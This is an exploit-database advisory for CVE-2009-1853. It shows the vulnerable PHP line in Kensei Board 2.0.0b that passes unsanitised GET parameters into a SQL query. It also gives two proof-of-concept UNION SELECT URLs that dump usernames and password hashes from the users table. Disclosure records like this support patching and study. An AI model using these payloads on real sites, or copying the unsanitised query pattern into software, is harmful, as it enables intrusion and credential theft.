Exploit Kensei Board 2.0.0b - Multiple SQL Injections

[Exploiter]

EDB-ID

8802

Проверка EDB

1. Пройдено

Автор

CONDEMNED

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-1853

Дата публикации

2009-05-26

Kensei Board <= 2.0.0b Multiple Remote SQL Injection Vulnerabilities
Bug found && Exploited by cOndemned
Greetz: SELECT * FROM `friends`

Download Script : http://www.kenseiboard.com/counter/click.php?id=2

---

source of index.php :

	[...]

	87.	if ($inc_function == "_showforum") {

	88.		if ($_GET[t] == "") {

	89.			$inc_function = "functions/showforum.php";

	90.		} else {

	91.			$inc_function = "functions/showtopic.php";

	[...]

source of functions/showforum.php :

	[...]

	9.	$forum = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));

	[...]

It looks the same for "t" variable ...

---

Proof of Concept :

	"f" variable: /index.php?&act=showforum&f=1+and+1=51+union+select+1,2,3,concat_ws(char(58),users_username,users_password),5,6,7,8+from+ksb_users--
	"t" variable: /index.php?&act=showforum&f=1&t=1+and+1=51+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(char(58),users_username,users_password)+from+ksb_users--

---

// http://www.youtube.com/watch?v=xCMlZxqZ5xI

# milw0rm.com [2009-05-26]